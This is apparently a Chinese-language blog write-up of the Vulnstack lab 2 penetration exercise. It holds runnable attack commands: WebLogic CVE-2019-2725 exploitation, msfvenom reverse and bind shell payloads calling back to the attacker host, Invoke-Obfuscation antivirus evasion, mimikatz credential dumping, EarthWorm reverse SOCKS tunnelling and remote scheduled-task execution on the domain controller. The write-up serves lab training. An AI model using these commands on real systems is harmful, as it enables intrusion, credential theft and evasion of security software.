Vulnstack內網靶場2

1_Ry發表於2021-10-17

 環境配置

內網2靶場由三臺機器構成:WIN7、2008 server、2012 server

其中2008做為對外的web機,win7作為個人主機可上網,2012作為域控

網路介面卡已經設定好了不用自己設定

初始密碼1qaz@WSX

WEB主機初始的狀態預設密碼無法登入,切換使用者 de1ay/1qaz@WSX ,然後修改WEB\de1ay的密碼

注意需要手動開啟服務,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一個 startWeblogic 的批處理,管理員身份執行它即可,管理員賬號密碼:Administrator/1qaz@WSX

由於web主機自己設定了ip地址,還需要改成自動獲取ip地址,不然kali無法探測該主機

 

外網主機資訊收集

nmap探測埠,一個web伺服器一個個人pc

目標web主機對外的ip地址為192.168.200.30 ,開放了80,但是看了看什麼東西也沒有,1433sqlserver,7001http服務 weblogic中介軟體

 由於剛剛環境配置的時候開的就是weblogic服務,所以猜測肯定這裡有問題

訪問weblogic後臺 預設路徑為192.168.200.30:7001/console,得到了一個版本號10.3.6.0

因為我對這個中介軟體不是很熟悉,先kali searchsploit搜尋了一下大概存在哪漏洞

看到存在命令執行漏洞和java反序列化,但是我也不知道具體是哪一個,所以網上找到了一個針對weblogic的掃描工具rabbitmask/WeblogicScan

python3 WeblogicScan.py -u 192.168.200.30 -p 7001

 看到檢測出只有java反序列化漏洞 編號為CVE-2019-2725,搜尋一下關於這個漏洞的復現,查到有兩種方法

CVE-2019-2725漏洞利用

1、上msf搜尋關於這個漏洞的利用模組

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set RHOSTS 192.168.200.30 set LHOST 192.168.200.6 run

 但是攻擊失敗了,突然意識到靶機有360防禦,關掉之後才能攻擊。

2、網上的exp(github.com)

漏洞存在的頁面:(若頁面存在則有漏洞)

/_async/AsyncResponseService

但是網上的exp我每個都試了,弄了一下午結果沒有一個成功的,後來看到360的日誌,才發現原來是他搞得鬼,把所有的資料包都攔截了,那我就很疑惑網上的wp到底是怎麼寫出來的

看來繞過360還是一個大工程啊

 

功夫不負有心人我差點想要放棄了,還好還是找到了CVE-2019-2725對應的利用指令碼,kali如下,下載地址 https://www.exploit-db.com/download/46780

使用方法:將exploit修改成msf生成的ps1檔案

但是有360,還得考慮免殺

先用msf生成ps1指令碼

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 -f psh-cmd > shell.ps1

 免殺這裡我選擇了Invoke-Obfuscation 參考文章Invoke-Obfuscation混淆免殺過360和火絨_csdnmmd的部落格-CSDN部落格

Invoke-Obfuscation下載連結:https://github.com/danielbohannon/Invoke-Obfuscation 

設定執行策略Set-executionpolicy Unrestricted:允許所有指令碼執行。

Import-Module Invoke-Obfuscation.psd1 \\匯入模組
Invoke-Obfuscation  \\載入模組

 設定要免殺的木馬

set scriptpath C:\Users\administrator.WIN-2008\Desktop\shell.ps1

選擇編碼混淆 ENCODING

  這裡選擇的型別有八個,分別是不同編碼,我先試試第一個,輸入1,就會自動生成

 輸入

out 1.ps1

 將檔案輸出,可以看到免殺好的ps1指令碼已經做好了

 回到kali,我想先是試試看沒免殺的指令碼會不會被360攔截,於是就先把沒免殺的ps1複製到exploit中

python 46780.py http://192.168.200.30:7001/_async/AsyncResponseServiceHttps

 msf監聽

 果然還是被攔截了,接下來試試看免殺之後的

但是,花了一晚上所有都試了一遍發現沒有一個能用的,直到我把360關了之後,再重新試了一下,發現就算沒有360也沒有用,害能力不夠,免殺這邊只能先放放了。

 

內網資訊收集  

跳過繞360那一步拿到web主機許可權  

 

getsystem提權失敗,應該是因為360的原因

 

MSF下的會話傳給CS

msf使用注入模組 + cs建立Listener監聽 (相同payload)

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run

利用cs通過web伺服器進行對內網的主機掃描發現

 掃到的三臺主機,都開了445,後面可以試試永恆之藍

 

也可以利用msf通過web伺服器進行對內網的主機掃描發現

進入shell 檢視內網網段

for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="

 

 有一臺主機沒掃到,我試了一下web機也ping不到pc不知道什麼原因,用路由轉發,讓msf直接掃試試看

獲取目標機內網地址網段

run get_local_subnets

通過background回到msf,使用route增加對應路由,2是sessions值

route add 10.10.10.0 255.255.255.0 2

 檢視是否設定成功

route print

這樣msf就能掃描到內網的主機了

回到meterpreter會話,掃描10.10.10.0網段

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

 繼續資訊收集,查到域名為de1ay.com,存在兩臺域主機WEB和PC,域控制器為DC.de1ay.com,主機名為DC

net time /domain
net user /domain
net group "domain computers" /domain

 

CS runmimikatz 

 

抓取到web/de1ay和de1ay/mssql使用者的密碼,但是沒抓到域控的密碼(其實通過之前收集到的使用者名稱,也可以用這個密碼撞一撞)

 

內網穿越

先設定代理讓kali能訪問內網

兩種工具一個是earthworm,還有一個是ProxyChains

首先將EW上傳到web主機上

在攻擊機執行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

 這條命令的意思是在公網VPS上新增一個轉接隧道,把1080埠收到的代理請求轉發給4444埠  

然後在web主機執行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

這條命令的意思是在本機伺服器上啟動SOCKS5服務,然後反彈到192.168.200.6攻擊機的4444埠

執行完後會顯示連線OK,現在就可以通過訪問攻擊機的1080埠,使用win7的伺服器上SOCKS5代理服務

接下來使用proxychains新增代理(KALI中自帶)

輸入開啟proxychains進行編輯

vi /etc/proxychains4.conf

 首先將dynamic_chain前面的註釋符#刪除

 然後在底部改成內容 socks5 127.0.0.1 1080

儲存並退出,現在kali可以訪問內網了

setg Proxies socks5:127.0.0.1:1080 ,把msf代理進內網(也可以新增路由)

 

域內橫向移動

既然抓到了本機的密碼,也開啟了3389,就遠端登陸看看

 rdesktop 192.168.200.30:3389

進入後先把360關了

這裡我只是試一試,但是居然能連線到

 

msf建立一個正向連線的shell

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

 上傳到web機在上傳到域控 

定時任務

schtasks /create /s 10.10.10.10 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f 

 msf監聽

set payload windows/meterpreter/bind_tcp
set rhost 10.10.10.10
set lport 4444
run

 

拿到域控許可權但提權失敗,嘗試手動提權

background
use local_exploit_suggester
show options
set session 4
run

每個都嘗試用了一遍,在切換回sessions

 

用永恆之藍試試攻擊域控

 

 也可以直接獲取域控許可權

(後面我又試了一下永恆之藍,但是一直是藍屏,我也不知道這次是怎麼弄的)

 

 psexec.exe也行

 

總結

這個靶機可能是我配置不太對,做起來有些奇怪,win2008的許可權似乎有點高不用ipc連線就能連線到域控,win2008和win7互相 ping不通,也連線不到,感覺win7在這個靶場中存在的意義不大,這個靶場的難點應該就是過360那部分了,後續得學習一下免殺